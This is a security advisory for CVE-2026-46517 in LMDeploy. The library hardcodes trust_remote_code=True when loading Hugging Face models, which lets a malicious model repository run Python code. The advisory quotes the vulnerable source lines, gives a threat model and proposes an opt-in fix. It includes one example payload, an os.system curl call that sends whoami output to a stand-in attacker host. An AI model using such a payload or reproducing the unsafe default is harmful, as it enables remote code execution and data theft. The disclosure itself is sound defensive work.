PT-2026-42668 · Pypi · Lmdeploy

Published

2026-05-21

·

Updated

2026-05-26

·

CVE-2026-46517

CVSS v3.1

7.8

High

VectorAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get model arch and related helpers hardcode trust remote code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."
What this report does NOT claim:
  • It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
  • It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.
What this report DOES claim:
  • Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
  • LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust remote code=False since transformers ≥ 4.30).
  • The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.
Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).
Runtime evidence: see 12 lmdeploy trust remote code F13/runtime evidence/cloudrun cpu verdict.txt.

F13 — LMDeploy: hardcoded trust remote code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust remote code=True to transformers.AutoConfig.from pretrained() (and several other from pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust remote code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.
The user running lmdeploy serve api server <attacker repo>, lmdeploy lite calibrate <attacker repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.
HuggingFace's trust remote code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration *.py shim runs Python code as the LMDeploy user at the very first call to get model arch(...).
This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261
Snapshots of all four files are in source pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get model arch:
def get model arch(model path: str):
  """Get a model's architecture and configuration."""
  try:
    cfg = AutoConfig.from pretrained(model path, trust remote code=True)
  except Exception as e: # noqa
    from transformers import PretrainedConfig
    cfg = PretrainedConfig.from pretrained(model path, trust remote code=True)
Both the primary path and the fallback hardcode trust remote code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from pretrained(model, trust remote code=True)
...
model = load hf from pretrained(model, dtype=dtype, trust remote code=True)
lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:
def load hf from pretrained(pretrained model name or path, dtype, **kwargs):
  ...
  hf config = AutoConfig.from pretrained(pretrained model name or path, trust remote code=True)
Even if the caller does not pass trust remote code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration *.py from the repo and imports it whenever trust remote code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check env/model.py:10,99,234,242 — trust remote code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust remote code=True actually enables

When AutoConfig.from pretrained(repo, trust remote code=True) is called and the repo's config.json contains an auto map key pointing to a custom configuration <name>.py:
  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.
So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:
  • Casual users following a tutorial that says lmdeploy serve api server <some repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.
The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Projecttrust remote code defaultUser control
HuggingFace TransformersFalsetrust remote code keyword arg
vLLMFalse--trust-remote-code flag
LMDeployTrue (hardcoded)None
TGIFalse--trust-remote-code flag
LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration *.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust remote code=True with an explicit opt-in via CLI flag:
# lmdeploy/archs.py — get model arch
def get model arch(model path: str, trust remote code: bool = False):
  try:
    cfg = AutoConfig.from pretrained(model path, trust remote code=trust remote code)
  except Exception as e: # noqa
    from transformers import PretrainedConfig
    cfg = PretrainedConfig.from pretrained(model path, trust remote code=trust remote code)
Wire trust remote code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.
A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through load pt file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from pretrained(repo, trust remote code=True) on a HF repo with a malicious configuration *.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.
If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Fix

Code Injection

Weakness Enumeration

CWE-915CWE-1188CWE-94

Related Identifiers

CVE-2026-46517
GHSA-9XQ9-36W5-Q796

Affected Products

Lmdeploy